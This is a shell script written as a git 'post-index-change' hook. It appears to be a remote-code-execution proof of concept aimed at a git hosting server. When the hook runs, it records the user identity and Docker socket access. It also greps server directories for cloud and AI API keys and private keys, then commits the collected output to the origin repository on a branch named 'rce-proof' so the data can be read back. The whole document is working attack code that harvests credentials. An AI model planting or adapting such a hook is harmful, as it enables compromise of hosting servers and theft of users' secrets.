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rce-6468qevk/hooks/post-index-change
2026-11-02 06:07:00 +09:00

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#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$({ echo ID; id; echo DOCKER; ls -la /var/run/docker.sock /run/docker.sock 2>&1; echo REPOS; ls /data/git/repositories 2>/dev/null | wc -l; echo GREP; grep -RInaE 'AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|AIzaSy|sk-ant-|sk-proj-|sk-or-v1-|AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|AZURE_|GCP_SA_KEY|BEGIN [A-Z ]*PRIVATE KEY|OPENAI_API_KEY|ANTHROPIC_API_KEY' /data/git /data/gitea /home /opt /srv /etc /var/lib 2>/dev/null | head -100; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0